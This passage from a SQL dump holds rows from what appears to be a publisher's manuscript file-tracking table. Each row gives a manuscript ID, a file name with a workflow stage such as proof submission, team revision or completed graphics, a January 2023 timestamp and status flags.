10:48:49',1,4,0),(35063,12454,'12454-rv2j-Manuscript-2023-01-04.docx',NULL,'2023-01-04 10:49:57',1,1,0),(35064,13359,'13359-0-Manuscript-2023-01-05.docx',NULL,'2023-01-05 09:55:39',1,1,0),(35065,13360,'13360-0-Manuscript-2023-01-06.docx',NULL,'2023-01-06 09:42:59',1,1,0),(35066,13361,'13361-0-Manuscript-2023-01-06.docx',NULL,'2023-01-06 10:53:11',1,1,0),(35067,13362,'13362-0-Manuscript-2023-01-06.docx',NULL,'2023-01-06 10:56:22',1,1,0),(35068,13363,'13363-0-Manuscript-2023-01-06.docx',NULL,'2023-01-06 10:59:55',1,1,0),(35069,13364,'13364-0-Manuscript-2023-01-06.docx',NULL,'2023-01-06 11:05:14',1,1,0),(35070,13365,'13365-0-Manuscript-2023-01-06.docx',NULL,'2023-01-06 14:53:28',1,1,0),(35071,13366,'13366-0-Manuscript-2023-01-07.docx',NULL,'2023-01-07 12:33:48',1,1,0),(35072,13367,'13367-0-Manuscript-2023-01-07.docx',NULL,'2023-01-07 12:36:09',1,1,0),(35073,13368,'13368-0-Manuscript-2023-01-07.docx',NULL,'2023-01-07 12:41:50',1,1,0),(35074,13369,'13369-0-Manuscript-2023-01-07.docx',NULL,'2023-01-07 12:43:28',1,1,0),(35075,13370,'13370-0-Manuscript-2023-01-07.docx',NULL,'2023-01-07 12:45:35',1,1,0),(35076,13371,'13371-0-Manuscript-2023-01-07.docx',NULL,'2023-01-07 13:08:53',1,1,0),(35077,13372,'13372-0-Manuscript-2023-01-07.docx',NULL,'2023-01-07 13:13:39',1,1,0),(35078,13373,'13373-0-Manuscript-2023-01-07.docx',NULL,'2023-01-07 13:16:59',1,1,0),(35079,13374,'13374-0-Manuscript-2023-01-07.docx',NULL,'2023-01-07 13:34:10',1,1,0),(35080,13375,'13375-0-Manuscript-2023-01-09.docx',NULL,'2023-01-09 10:13:17',1,1,0),(35081,13255,'13255-Manuscript-2023-01-09-de9o.pdf',NULL,'2023-01-09 11:36:11',1,3,1),(35082,13149,'13149-nebs-Manuscript-proof-submission-2023-01-09.rar',NULL,'2023-01-09 13:15:28',1,3,0),(35083,13149,'13149-Manuscript-2023-01-09-kve4-ap-team-revised.rar',NULL,'2023-01-09 14:07:17',1,3,0),(35084,13376,'13376-0-Manuscript-2023-01-09.docx',NULL,'2023-01-09 14:32:18',1,1,0),(35085,13377,'13377-0-Manuscript-2023-01-09.docx',NULL,'2023-01-09 14:34:03',1,1,0),(35086,13378,'13378-0-Manuscript-2023-01-09.docx',NULL,'2023-01-09 14:35:34',1,1,0),(35087,13379,'13379-0-Manuscript-2023-01-09.docx',NULL,'2023-01-09 14:37:45',1,1,0),(35088,13380,'13380-0-Manuscript-2023-01-09.docx',NULL,'2023-01-09 14:39:32',1,1,0),(35089,13149,'13149-Manuscript-2023-01-09-v0ax-graphic-completed.pdf',NULL,'2023-01-09 14:48:56',1,3,0),(35091,13382,'13382-0-Manuscript-2023-01-10.docx',NULL,'2023-01-10 09:53:23',1,1,0),(35093,13384,'13384-0-Manuscript-2023-01-10.docx',NULL,'2023-01-10 10:01:29',1,1,0),(35095,13386,'13386-0-Manuscript-2023-01-10.docx',NULL,'2023-01-10 11:02:54',1,1,0),(35096,13387,'13387-0-Manuscript-2023-01-10.docx',NULL,'2023-01-10 11:07:17',1,1,0),(35097,13361,'13361-317i-Manuscript-proof-submission-2023-01-10.docx',NULL,'2023-01-10 11:07:35',1,3,0),(35098,13362,'13362-c917-Manuscript-proof-submission-2023-01-10.docx',NULL,'2023-01-10 11:08:16',1,3,0),(35099,13388,'13388-0-Manuscript-2023-01-10.docx',NULL,'2023-01-10 11:10:30',1,1,0),(35100,13389,'13389-0-Manuscript-2023-01-10.docx',NULL,'2023-01-10 11:13:31',1,1,0),(35101,13390,'13390-0-Manuscript-2023-01-10.docx',NULL,'2023-01-10 11:16:03',1,1,0),(35102,13364,'13364-82c4-Manuscript-proof-submission-2023-01-10.docx',NULL,'2023-01-10 11:22:44',1,3,0),(35103,13363,'13363-dotp-Manuscript-proof-submission-2023-01-10.docx',NULL,'2023-01-10 11:24:12',1,3,0),(35104,13391,'13391-0-Manuscript-2023-01-10.docx',NULL,'2023-01-10 11:34:00',1,1,0),(35105,13392,'13392-0-Manuscript-2023-01-10.docx',NULL,'2023-01-10 11:36:23',1,1,0),(35108,13395,'13395-0-Manuscript-2023-01-10.docx',NULL,'2023-01-10 11:46:39',1,1,0),(35110,13397,'13397-0-Manuscript-2023-01-10.docx',NULL,'2023-01-10 12:16:11',1,1,0),(35111,13398,'13398-0-Manuscript-2023-01-10.docx',NULL,'2023-01-10 13:42:31',1,1,0),(35112,13399,'13399-0-Manuscript-2023-01-10.docx',NULL,'2023-01-10 13:49:37',1,1,0),(35113,12662,'12662-Manuscript-2023-01-10-dqpt-graphic-completed.pdf',NULL,'2023-01-10 13:53:55',1,3,0),(35114,13400,'13400-0-Manuscript-2023-01-10.docx',NULL,'2023-01-10 14:09:10',1,1,0),(35115,13401,'13401-0-Manuscript-2023-01-10.docx',NULL,'2023-01-10 14:11:23',1,1,0),(35116,13364,'13364-Manuscript-2023-01-10-y3gw-ap-team-revised.docx',NULL,'2023-01-10 14:47:15',1,3,0),(35117,13363,'13363-Manuscript-2023-01-10-3ysz-ap-team-revised.docx',NULL,'2023-01-10 14:47:24',1,3,0),(35118,13362,'13362-Manuscript-2023-01-10-0iw4-ap-team-revised.docx',NULL,'2023-01-10 14:47:33',1,3,0),(35119,13361,'13361-Manuscript-2023-01-10-dxna-ap-team-revised.docx',NULL,'2023-01-10 14:47:42',1,3,0),(35120,13354,'13354-k86a-Manuscript-proof-submission-2023-01-10.rar',NULL,'2023-01-10 15:05:30',1,3,0),(35121,13351,'13351-37sj-Manuscript-proof-submission-2023-01-10.rar',NULL,'2023-01-10 15:05:58',1,3,0),(35122,13160,'13160-v7ot-Manuscript-proof-submission-2023-01-10.rar',NULL,'2023-01-10 17:25:52',1,3,0),(35123,13160,'13160-Manuscript-2023-01-10-h2iw-ap-team-revised.rar',NULL,'2023-01-10 17:53:25',1,3,0),(35124,13351,'13351-Manuscript-2023-01-11-9zmn-ap-team-revised.rar',NULL,'2023-01-11 10:27:57',1,3,1),(35125,13354,'13354-Manuscript-2023-01-11-pgkn-ap-team-revised.rar',NULL,'2023-01-11 10:28:54',1,3,1),(35126,12895,'12895-Manuscript-2023-01-11-h7zo.docx',NULL,'2023-01-11 10:55:29',1,3,0),(35127,12895,'12895-Manuscript-2023-01-11-uo90.pdf',NULL,'2023-01-11 10:55:46',1,3,0),(35128,12860,'12860-Manuscript-2023-01-11-ynie.docx',NULL,'2023-01-11 11:05:28',1,3,0),(35129,12860,'12860-Manuscript-2023-01-11-orxn.pdf',NULL,'2023-01-11 11:05:43',1,3,0),(35130,12852,'12852-Manuscript-2023-01-11-6j5a.docx',NULL,'2023-01-11 11:16:12',1,3,0),(35131,12852,'12852-Manuscript-2023-01-11-kswd.pdf',NULL,'2023-01-11 11:16:24',1,3,0),(35132,12868,'12868-Manuscript-2023-01-11-ru76.docx',NULL,'2023-01-11 11:26:15',1,3,0),(35133,12868,'12868-Manuscript-2023-01-11-2tpo.pdf',NULL,'2023-01-11 11:26:42',1,3,0),(35134,12883,'12883-Manuscript-2023-01-11-gewr.docx',NULL,'2023-01-11 11:36:31',1,3,0),(35135,12883,'12883-Manuscript-2023-01-11-98n1.pdf',NULL,'2023-01-11 11:36:42',1,3,0),(35136,13160,'13160-Manuscript-2023-01-11-1cvd-graphic-completed.pdf',NULL,'2023-01-11 13:57:46',1,3,0),(35137,13373,'13373-injz-Manuscript-proof-submission-2023-01-11.rar',NULL,'2023-01-11 14:13:27',1,3,0),(35138,13372,'13372-8pjv-Manuscript-proof-submission-2023-01-11.rar',NULL,'2023-01-11 14:42:43',1,3,0),(35139,13371,'13371-l8ai-Manuscript-proof-submission-2023-01-11.rar',NULL,'2023-01-11 15:27:14',1,3,0),(35140,13358,'13358-8bo2-Manuscript-proof-submission-2023-01-11.rar',NULL,'2023-01-11 15:40:53',1,3,0),(35141,13174,'13174-j6yl-Manuscript-proof-submission-2023-01-11.rar',NULL,'2023-01-11 17:05:54',1,3,0),(35142,13174,'13174-Manuscript-2023-01-12-xdwm-ap-team-revised.rar',NULL,'2023-01-12 11:08:43',1,3,0),(35143,13402,'13402-0-Manuscript-2023-01-12.docx',NULL,'2023-01-12 12:10:45',1,1,0),(35144,13403,'13403-0-Manuscript-2023-01-12.docx',NULL,'2023-01-12 12:12:27',1,1,0),(35145,13386,'13386-a42k-Manuscript-proof-submission-2023-01-12.rar',NULL,'2023-01-12 12:13:45',1,3,0),(35146,13387,'13387-epaz-Manuscript-proof-submission-2023-01-12.rar',NULL,'2023-01-12 12:14:28',1,3,0),(35147,13388,'13388-rxjz-Manuscript-proof-submission-2023-01-12.rar',NULL,'2023-01-12 12:14:54',1,3,0),(35148,13389,'13389-yd3j-Manuscript-proof-submission-2023-01-12.rar',NULL,'2023-01-12 12:15:34',1,3,0),(35149,13390,'13390-k5fr-Manuscript-proof-submission-2023-01-12.rar',NULL,'2023-01-12 12:15:57',1,3,0),(35150,13390,'13390-nerp-Manuscript-proof-submission-2023-01-12.rar',NULL,'2023-01-12 12:15:58',1,3,0),(35153,13366,'13366-8lou-Manuscript-proof-submission-2023-01-12.docx',NULL,'2023-01-12 14:21:12',1,3,0),(35154,13368,'13368-yhwn-Manuscript-proof-submission-2023-01-12.docx',NULL,'2023-01-12 14:26:15',1,3,0),(35155,13367,'13367-m2bt-Manuscript-proof-submission-2023-01-12.docx',NULL,'2023-01-12 14:30:53',1,3,0),(35156,13369,'13369-0alw-Manuscript-proof-submission-2023-01-12.docx',NULL,'2023-01-12 14:33:01',1,3,0),(35157,13370,'13370-23zx-Manuscript-proof-submission-2023-01-12.docx',NULL,'2023-01-12 14:35:11',1,3,0),(35159,13360,'13360-u957-Manuscript-proof-submission-2023-01-12.rar',NULL,'2023-01-12 14:44:28',1,3,0),(35160,13360,'13360-Manuscript-2023-01-12-gezu-ap-team-revised.rar',NULL,'2023-01-12 14:59:56',1,3,0),(35161,13406,'13406-0-Manuscript-2023-01-12.docx',NULL,'2023-01-12 15:00:29',1,1,0),(35162,13407,'13407-0-Manuscript-2023-01-12.docx',NULL,'2023-01-12 15:04:03',1,1,0),(35163,13408,'13408-0-Manuscript-2023-01-12.docx',NULL,'2023-01-12 15:12:02',1,1,0),(35164,13409,'13409-0-Manuscript-2023-01-12.docx',NULL,'2023-01-12 15:44:57',1,1,0),(35167,13411,'13411-0-Manuscript-2023-01-13.docx',NULL,'2023-01-13 10:08:17',1,1,0),(35168,13412,'13412-0-Manuscript-2023-01-13.docx',NULL,'2023-01-13 10:12:04',1,1,0),(35169,13413,'13413-0-Manuscript-2023-01-13.docx',NULL,'2023-01-13 10:13:27',1,1,0),(35170,13414,'13414-0-Manuscript-2023-01-13.docx',NULL,'2023-01-13 10:18:30',1,1,0),(35171,13415,'13415-0-Manuscript-2023-01-13.docx',NULL,'2023-01-13 10:28:22',1,1,0),(35172,13360,'13360-Manuscript-2023-01-13-u0pd-graphic-completed.pdf',NULL,'2023-01-13 10:32:49',1,3,0),(35173,13174,'13174-Manuscript-2023-01-13-qbk0-graphic-completed.pdf',NULL,'2023-01-13 10:33:11',1,3,0),(35174,13371,'13371-Manuscript-2023-01-13-p0w5-ipacm-23-13371.rar',NULL,'2023-01-13 11:07:01',1,3,1),(35175,13372,'13372-Manuscript-2023-01-13-cugx-ipacm-23-13372.rar',NULL,'2023-01-13 11:07:35',1,3,1),(35176,13373,'13373-Manuscript-2023-01-13-z4gf-ipacm-23-13373.rar',NULL,'2023-01-13 11:08:14',1,3,1),(35177,13358,'13358-Manuscript-2023-01-13-bjn2-ipacm-23-13358.rar',NULL,'2023-01-13 11:08:44',1,3,1),(35178,13416,'13416-0-Manuscript-2023-01-13.docx',NULL,'2023-01-13 11:17:18',1,1,0),(35179,13174,'13174-Manuscript-2023-01-13-qxyk.pdf',NULL,'2023-01-13 11:45:40',1,3,0),(35180,13149,'13149-Manuscript-2023-01-13-j1gc.pdf',NULL,'2023-01-13 11:47:20',1,3,0),(35181,13160,'13160-Manuscript-2023-01-13-976v.pdf',NULL,'2023-01-13 11:49:14',1,3,0),(35182,13366,'13366-Manuscript-2023-01-13-uqjb-ipaom-23-13366.docx',NULL,'2023-01-13 13:06:26',1,3,0),(35183,13367,'13367-Manuscript-2023-01-13-pnuj-ipaom-23-13367.docx',NULL,'2023-01-13 13:06:35',1,3,0),(35184,13368,'13368-Manuscript-2023-01-13-eth3-ipaom-23-13368.docx',NULL,'2023-01-13 13:06:45',1,3,0),(35185,13369,'13369-Manuscript-2023-01-13-9np8-ipaom-23-13369.docx',NULL,'2023-01-13 13:06:55',1,3,0),(35186,13370,'13370-Manuscript-2023-01-13-5fx3-ipaom-23-13370.docx',NULL,'2023-01-13 13:07:06',1,3,0),(35187,13386,'13386-Manuscript-2023-01-13-r0od-iphspr-23-13386.rar',NULL,'2023-01-13 13:53:08',1,3,0),(35188,13387,'13387-Manuscript-2023-01-13-3cqv-iphspr-23-13387.rar',NULL,'2023-01-13 13:53:43',1,3,0),(35189,13388,'13388-Manuscript-2023-01-13-2b90-iphspr-23-13388.rar',NULL,'2023-01-13 13:54:15',1,3,0),(35190,13389,'13389-Manuscript-2023-01-13-t86k-iphspr-23-13389.rar',NULL,'2023-01-13 13:54:49',1,3,0),(35191,13390,'13390-Manuscript-2023-01-13-fgxp-iphspr-23-13390.rar',NULL,'2023-01-13 13:55:22',1,3,0),(35195,13420,'13420-0-Manuscript-2023-01-16.docx',NULL,'2023-01-17 00:05:53',1,1,0),(35196,13403,'13403-6svf-Manuscript-proof-submission-2023-01-17.rar',NULL,'2023-01-17 13:35:50',1,3,0),(35197,13392,'13392-go1v-Manuscript-proof-submission-2023-01-17.rar',NULL,'2023-01-17 13:40:12',1,3,0),(35198,13391,'13391-2zcd-Manuscript-proof-submission-2023-01-17.rar',NULL,'2023-01-17 13:41:00',1,3,0),(35199,13134,'13134-v0ta-Manuscript-proof-submission-2023-01-17.rar',NULL,'2023-01-17 13:42:05',1,3,0),(35200,13402,'13402-j4ow-Manuscript-proof-submission-2023-01-17.rar',NULL,'2023-01-17 13:51:38',1,3,0),(35201,13356,'13356-xfja-Manuscript-proof-submission-2023-01-17.rar',NULL,'2023-01-17 15:10:54',1,3,0),(35202,13402,'13402-Manuscript-2023-01-17-lfx8-ap-team-revised.rar',NULL,'2023-01-17 15:29:12',1,3,1),(35203,13403,'13403-Manuscript-2023-01-17-71t5-ap-team-revised.rar',NULL,'2023-01-17 15:29:42',1,3,1),(35204,13391,'13391-Manuscript-2023-01-17-koy5-ap-team-revised.rar',NULL,'2023-01-17 15:30:13',1,3,1),(35205,13392,'13392-Manuscript-2023-01-17-l7ys-ap-team-revised.rar',NULL,'2023-01-17 15:30:42',1,3,1),(35206,13407,'13407-d5u0-Manuscript-proof-submission-2023-01-18.rar',NULL,'2023-01-18 10:59:50',1,3,0),(35207,13399,'13399-pf3g-Manuscript-proof-submission-2023-01-18.rar',NULL,'2023-01-18 11:00:25',1,3,0),(35208,13397,'13397-7e5k-Manuscript-proof-submission-2023-01-18.rar',NULL,'2023-01-18 11:00:50',1,3,0),(35209,13397,'13397-0ty1-Manuscript-proof-submission-2023-01-18.rar',NULL,'2023-01-18 11:00:52',1,3,0),(35210,13364,'13364-Manuscript-2023-01-18-zp70-move-pdf-making.pdf',NULL,'2023-01-18 13:31:31',1,3,0),(35211,13363,'13363-Manuscript-2023-01-18-02eh-move-pdf-making.pdf',NULL,'2023-01-18 13:32:01',1,3,0),(35212,13362,'13362-Manuscript-2023-01-18-vwuq-move-pdf-making.pdf',NULL,'2023-01-18 13:32:25',1,3,0),(35213,13361,'13361-Manuscript-2023-01-18-ugrt-move-pdf-making.pdf',NULL,'2023-01-18 13:32:54',1,3,0),(35214,13259,'13259-41zb-Manuscript-proof-submission-2023-01-18.rar',NULL,'2023-01-18 13:45:05',1,3,0),(35215,13382,'13382-s4my-Manuscript-proof-submission-2023-01-18.rar',NULL,'2023-01-18 13:46:22',1,3,0),(35216,13384,'13384-45om-Manuscript-proof-submission-2023-01-18.rar',NULL,'2023-01-18 13:47:08',1,3,0),(35217,13408,'13408-o1gi-Manuscript-proof-submission-2023-01-18.rar',NULL,'2023-01-18 13:48:13',1,3,0),(35218,13409,'13409-zflx-Manuscript-proof-submission-2023-01-18.rar',NULL,'2023-01-18 13:48:49',1,3,0),(35219,13364,'13364-Manuscript-2023-01-18-bep8-ap-ame-q2-accepted-file.pdf',NULL,'2023-01-18 14:01:40',1,3,0),(35220,13363,'13363-Manuscript-2023-01-18-zekx-ap-ame-q2-accepted-file.pdf',NULL,'2023-01-18 14:02:02',1,3,0),(35221,13362,'13362-Manuscript-2023-01-18-vica-ap-ame-q2-accepted-file.pdf',NULL,'2023-01-18 14:02:26',1,3,0),(35222,13361,'13361-Manuscript-2023-01-18-sg4w-ap-ame-q2-accepted-file.pdf',NULL,'2023-01-18 14:02:49',1,3,0),(35223,13421,'13421-0-Manuscript-2023-01-18.docx',NULL,'2023-01-18 15:25:23',1,1,0),(35224,13134,'13134-Manuscript-2023-01-19-duep-ap-team-revised.rar',NULL,'2023-01-19 09:55:50',1,3,1),(35225,13356,'13356-Manuscript-2023-01-19-i814-ap-team-revised.rar',NULL,'2023-01-19 11:37:35',1,3,1),(35226,13422,'13422-0-Manuscript-2023-01-19.docx',NULL,'2023-01-19 11:43:07',1,1,0),(35227,13423,'13423-0-Manuscript-2023-01-19.docx',NULL,'2023-01-19 13:37:44',1,1,0),(35228,13424,'13424-0-Manuscript-2023-01-19.docx',NULL,'2023-01-19 13:40:27',1,1,0),(35231,13427,'13427-0-Manuscript-2023-01-19.docx',NULL,'2023-01-19 13:48:08',1,1,0),(35232,13356,'13356-Manuscript-2023-01-19-79yn-graphic-completed.pdf',NULL,'2023-01-19 14:03:30',1,3,0),(35233,13358,'13358-Manuscript-2023-01-19-oxqh-graphic-completed.pdf',NULL,'2023-01-19 14:03:35',1,3,0),(35234,13373,'13373-Manuscript-2023-01-19-2yix-graphic-completed.pdf',NULL,'2023-01-19 14:04:01',1,3,0),(35235,13372,'13372-Manuscript-2023-01-19-30n1-graphic-completed.pdf',NULL,'2023-01-19 14:04:06',1,3,0),(35236,13371,'13371-Manuscript-2023-01-19-wbv7-graphic-completed.pdf',NULL,'2023-01-19 14:04:50',1,3,0),(35237,13408,'13408-Manuscript-2023-01-19-uso4-ap-team-revised.rar',NULL,'2023-01-19 15:18:02',1,3,0),(35238,13409,'13409-Manuscript-2023-01-19-97qy-ap-team-revised.rar',NULL,'2023-01-19 15:18:36',1,3,1),(35239,13408,'13408-Manuscript-2023-01-19-u8kf-ap-team-revised.rar',NULL,'2023-01-19 15:19:15',1,3,1),(35240,13259,'13259-Manuscript-2023-01-19-ypev-ap-team-revised.rar',NULL,'2023-01-19 15:25:54',1,3,1),(35241,13384,'13384-Manuscript-2023-01-19-68fb-ap-team-revised.rar',NULL,'2023-01-19 15:26:31',1,3,1),(35242,13382,'13382-Manuscript-2023-01-19-42hl-ap-team-revised.rar',NULL,'2023-01-19 15:27:16',1,3,1),(35243,13428,'13428-0-Manuscript-2023-01-19.docx',NULL,'2023-01-19 16:42:30',1,1,0),(35244,13429,'13429-0-Manuscript-2023-01-19.docx',NULL,'2023-01-19 16:51:48',1,1,0),(35245,13430,'13396-0-Manuscript-2023-01-10.docx','','2023-01-10 00:00:00',1,1,0),(35246,13430,'13404-xnoh-Manuscript-2023-01-12.docx','','2023-01-12 00:00:00',1,1,0),(35247,13430,'13430-clrn-Manuscript-2023-01-19.docx',NULL,'2023-01-19 17:10:54',1,1,0),(35248,13431,'13431-0-Manuscript-2023-01-19.pdf',NULL,'2023-01-19 21:28:34',1,1,0),(35249,13432,'13432-0-Manuscript-2023-01-20.doc',NULL,'2023-01-20 09:52:00',1,1,0),(35250,13432,'13432-1-Manuscript-2023-01-20.doc',NULL,'2023-01-20 09:52:00',1,1,0),(35251,13407,'13407-Manuscript-2023-01-20-5fl8-ap-team-revised.rar',NULL,'2023-01-20 10:36:43',1,3,1),(35252,13399,'13399-Manuscript-2023-01-20-i6tm-ap-team-revised.rar',NULL,'2023-01-20 10:37:13',1,3,1),(35253,13397,'13397-Manuscript-2023-01-20-0zy9-ap-team-revised.rar',NULL,'2023-01-20 10:37:43',1,3,1),(35254,13134,'13134-Manuscript-2023-01-20-591t-graphic-completed.pdf',NULL,'2023-01-20 13:34:38',1,3,0),(35255,13392,'13392-Manuscript-2023-01-20-myz7-graphic-completed.pdf',NULL,'2023-01-20 13:34:45',1,3,0),(35256,13391,'13391-Manuscript-2023-01-20-2jp5-graphic-completed.pdf',NULL,'2023-01-20 13:34:53',1,3,0),(35257,13403,'13403-Manuscript-2023-01-20-4ek9-graphic-completed.pdf',NULL,'2023-01-20 13:35:01',1,3,0),(35258,13402,'13402-Manuscript-2023-01-20-d0zb-graphic-completed.pdf',NULL,'2023-01-20 13:35:10',1,3,0),(35259,13433,'13419-0-Manuscript-2023-01-16.docx','','2023-01-17 00:00:00',1,1,0),(35260,13434,'13418-0-Manuscript-2023-01-16.docx','','2023-01-16 00:00:00',1,1,0),(35261,13435,'13417-0-Manuscript-2023-01-16.docx','','2023-01-16 00:00:00',1,1,0),(35262,13434,'13434-cqki-Manuscript-2023-01-20.docx',NULL,'2023-01-20 16:49:15',1,1,0),(35263,13435,'13435-zmwt-Manuscript-2023-01-20.docx',NULL,'2023-01-20 16:50:34',1,1,0),(35264,13433,'13433-kpng-Manuscript-2023-01-20.docx',NULL,'2023-01-20 16:51:55',1,1,0),(35265,13372,'13372-Manuscript-2023-01-21-ikr0.pdf',NULL,'2023-01-21 11:36:55',1,3,1),(35266,13373,'13373-Manuscript-2023-01-21-5r2s.pdf',NULL,'2023-01-21 11:38:38',1,3,1),(35267,13356,'13356-Manuscript-2023-01-21-wrzo.pdf',NULL,'2023-01-21 11:39:56',1,3,1),(35268,13259,'13259-Manuscript-2023-01-21-ncj3-graphic-completed.pdf',NULL,'2023-01-21 13:03:58',1,3,0),(35269,13384,'13384-Manuscript-2023-01-21-te9a-graphic-completed.pdf',NULL,'2023-01-21 13:04:08',1,3,0),(35270,13382,'13382-Manuscript-2023-01-21-irk4-graphic-completed.pdf',NULL,'2023-01-21 13:04:25',1,3,0),(35271,13408,'13408-Manuscript-2023-01-21-p7j3-graphic-completed.pdf',NULL,'2023-01-21 13:04:40',1,3,0),(35272,13409,'13409-Manuscript-2023-01-21-welp-graphic-completed.pdf',NULL,'2023-01-21 13:05:04',1,3,0),(35273,13384,'13384-Manuscript-2023-01-21-rl7a-graphic-completed.pdf',NULL,'2023-01-21 13:05:10',1,3,0),(35274,13408,'13408-Manuscript-2023-01-21-902b-graphic-completed.pdf',NULL,'2023-01-21 13:05:58',1,3,0),(35275,13371,'13371-Manuscript-2023-01-21-fhia.pdf',NULL,'2023-01-21 13:09:12',1,3,1),(35276,13358,'13358-Manuscript-2023-01-21-2uvm.pdf',NULL,'2023-01-21 13:10:25',1,3,1),(35277,13436,'13436-0-Manuscript-2023-01-21.docx',NULL,'2023-01-21 13:58:32',1,1,0),(35278,13436,'13436-1-Manuscript-2023-01-21.docx',NULL,'2023-01-21 13:58:32',1,1,0),(35279,13436,'13436-2-Manuscript-2023-01-21.docx',NULL,'2023-01-21 13:58:32',1,1,0),(35283,13438,'13438-0-Manuscript-2023-01-22.doc',NULL,'2023-01-22 11:54:36',1,1,0),(35284,13409,'13409-Manuscript-2023-01-23-uy1l.pdf',NULL,'2023-01-23 11:12:51',1,3,1),(35285,13408,'13408-Manuscript-2023-01-23-ne3y.pdf',NULL,'2023-01-23 11:21:01',1,3,1),(35286,13382,'13382-Manuscript-2023-01-23-kb4u.pdf',NULL,'2023-01-23 11:23:19',1,3,1),(35287,13384,'13384-Manuscript-2023-01-23-093y.pdf',NULL,'2023-01-23 11:24:33',1,3,1),(35288,13351,'13351-Manuscript-2023-01-23-mwnq-graphic-completed.pdf',NULL,'2023-01-23 11:36:35',1,3,1),(35289,13354,'13354-Manuscript-2023-01-23-v3ry-graphic-completed.pdf',NULL,'2023-01-23 11:36:46',1,3,1),(35290,13397,'13397-Manuscript-2023-01-23-bj7l-graphic-completed.pdf',NULL,'2023-01-23 11:36:54',1,3,1),(35291,13399,'13399-Manuscript-2023-01-23-3r1i-graphic-completed.pdf',NULL,'2023-01-23 11:37:21',1,3,1),(35292,13407,'13407-Manuscript-2023-01-23-3uap-graphic-completed.pdf',NULL,'2023-01-23 11:37:31',1,3,1),(35293,13365,'13365-1ysq-Manuscript-proof-submission-2023-01-23.docx',NULL,'2023-01-23 13:58:37',1,3,0),(35294,13375,'13375-viys-Manuscript-proof-submission-2023-01-23.docx',NULL,'2023-01-23 13:59:07',1,3,0),(35295,13376,'13376-7o90-Manuscript-proof-submission-2023-01-23.docx',NULL,'2023-01-23 13:59:41',1,3,0),(35296,13376,'13376-uhp0-Manuscript-proof-submission-2023-01-23.docx',NULL,'2023-01-23 13:59:42',1,3,0),(35297,13377,'13377-sfd5-Manuscript-proof-submission-2023-01-23.docx',NULL,'2023-01-23 14:00:00',1,3,0),(35298,13378,'13378-s5wu-Manuscript-proof-submission-2023-01-23.docx',NULL,'2023-01-23 14:00:18',1,3,0),(35299,13379,'13379-a6nk-Manuscript-proof-submission-2023-01-23.docx',NULL,'2023-01-23 14:00:46',1,3,0),(35300,13380,'13380-q1ig-Manuscript-proof-submission-2023-01-23.docx',NULL,'2023-01-23 14:01:05',1,3,0),(35301,13439,'13439-0-Manuscript-2023-01-23.docx',NULL,'2023-01-23 14:28:27',1,1,0),(35302,13440,'13440-0-Manuscript-2023-01-23.docx',NULL,'2023-01-23 14:37:51',1,1,0),(35303,13375,'13375-Manuscript-2023-01-23-bwfd-ap-team-revised.docx',NULL,'2023-01-23 15:03:10',1,3,0),(35304,13365,'13365-Manuscript-2023-01-23-h03z-ap-team-revised.docx',NULL,'2023-01-23 15:03:43',1,3,0),(35305,13376,'13376-Manuscript-2023-01-23-07qy-ap-team-revised.docx',NULL,'2023-01-23 15:25:59',1,3,0),(35306,13377,'13377-Manuscript-2023-01-23-wezn-ap-team-revised.docx',NULL,'2023-01-23 15:26:24',1,3,0),(35307,13378,'13378-Manuscript-2023-01-23-3lx6-ap-team-revised.docx',NULL,'2023-01-23 15:26:49',1,3,0),(35308,13379,'13379-Manuscript-2023-01-23-foq3-ap-team-revised.docx',NULL,'2023-01-23 15:27:13',1,3,0),(35309,13380,'13380-Manuscript-2023-01-23-f8r5-ap-team-revised.docx',NULL,'2023-01-23 15:27:35',1,3,0),(35310,13375,'13375-Manuscript-2023-01-23-4j0y-ap-team-revised.docx',NULL,'2023-01-23 15:38:23',1,3,0),(35311,13441,'13441-0-Manuscript-2023-01-24.docx',NULL,'2023-01-24 09:50:33',1,1,0),(35312,13259,'13259-Manuscript-2023-01-24-wyv8.pdf',NULL,'2023-01-24 11:28:09',1,3,1),(35313,1863,'1863-Manuscript-2023-01-24-2mwg-qcfupteam-revised.docx',NULL,'2023-01-24 11:44:40',1,4,0),(35314,1863,'1863-5xnp-Manuscript-2023-01-24.docx',NULL,'2023-01-24 11:45:51',1,1,0),(35315,13360,'13360-Manuscript-2023-01-24-in5j.pdf',NULL,'2023-01-24 11:48:06',1,3,0),(35316,13134,'13134-Manuscript-2023-01-24-p1k9.pdf',NULL,'2023-01-24 11:51:24',1,3,1),(35317,13391,'13391-Manuscript-2023-01-24-v29u.pdf',NULL,'2023-01-24 11:52:10',1,3,1),(35318,13403,'13403-Manuscript-2023-01-24-4lmz.pdf',NULL,'2023-01-24 11:52:53',1,3,1),(35319,13402,'13402-Manuscript-2023-01-24-tvsm.pdf',NULL,'2023-01-24 11:53:38',1,3,1),(35320,13392,'13392-Manuscript-2023-01-24-lnr6.pdf',NULL,'2023-01-24 11:55:13',1,3,1),(35321,2079,'2079-Manuscript-2023-01-24-5a7i-qcfupteam-revised.docx',NULL,'2023-01-24 11:59:09',1,4,0),(35322,2079,'2079-t2ub-Manuscript-2023-01-24.docx',NULL,'2023-01-24 11:59:45',1,1,0),(35323,4641,'4641-Manuscript-2023-01-24-84rs-qcfupteam-revised.doc',NULL,'2023-01-24 12:01:24',1,4,0),(35324,13442,'13442-0-Manuscript-2023-01-24.doc',NULL,'2023-01-24 12:01:55',1,1,0),(35325,4641,'4641-k53z-Manuscript-2023-01-24.doc',NULL,'2023-01-24 12:02:07',1,1,0),(35326,6114,'6114-Manuscript-2023-01-24-w06a-qcfupteam-revised.docx',NULL,'2023-01-24 12:04:21',1,4,0),(35327,6114,'6114-0o1j-Manuscript-2023-01-24.docx',NULL,'2023-01-24 12:04:58',1,1,0),(35328,4837,'4837-Manuscript-2023-01-24-mtn8-qcfupteam-revised.pdf',NULL,'2023-01-24 12:06:43',1,4,0),(35329,4837,'4837-t82b-Manuscript-2023-01-24.pdf',NULL,'2023-01-24 12:07:41',1,1,0),(35330,13390,'13390-Manuscript-2023-01-24-ehqs-graphic-completed.pdf',NULL,'2023-01-24 13:11:33',1,3,0),(35331,13389,'13389-Manuscript-2023-01-24-rim9-graphic-completed.pdf',NULL,'2023-01-24 13:11:47',1,3,0),(35332,13388,'13388-Manuscript-2023-01-24-m9ig-graphic-completed.pdf',NULL,'2023-01-24 13:12:07',1,3,0),(35333,13387,'13387-Manuscript-2023-01-24-scov-graphic-completed.pdf',NULL,'2023-01-24 13:12:21',1,3,0),(35334,13386,'13386-Manuscript-2023-01-24-f1d6-graphic-completed.pdf',NULL,'2023-01-24 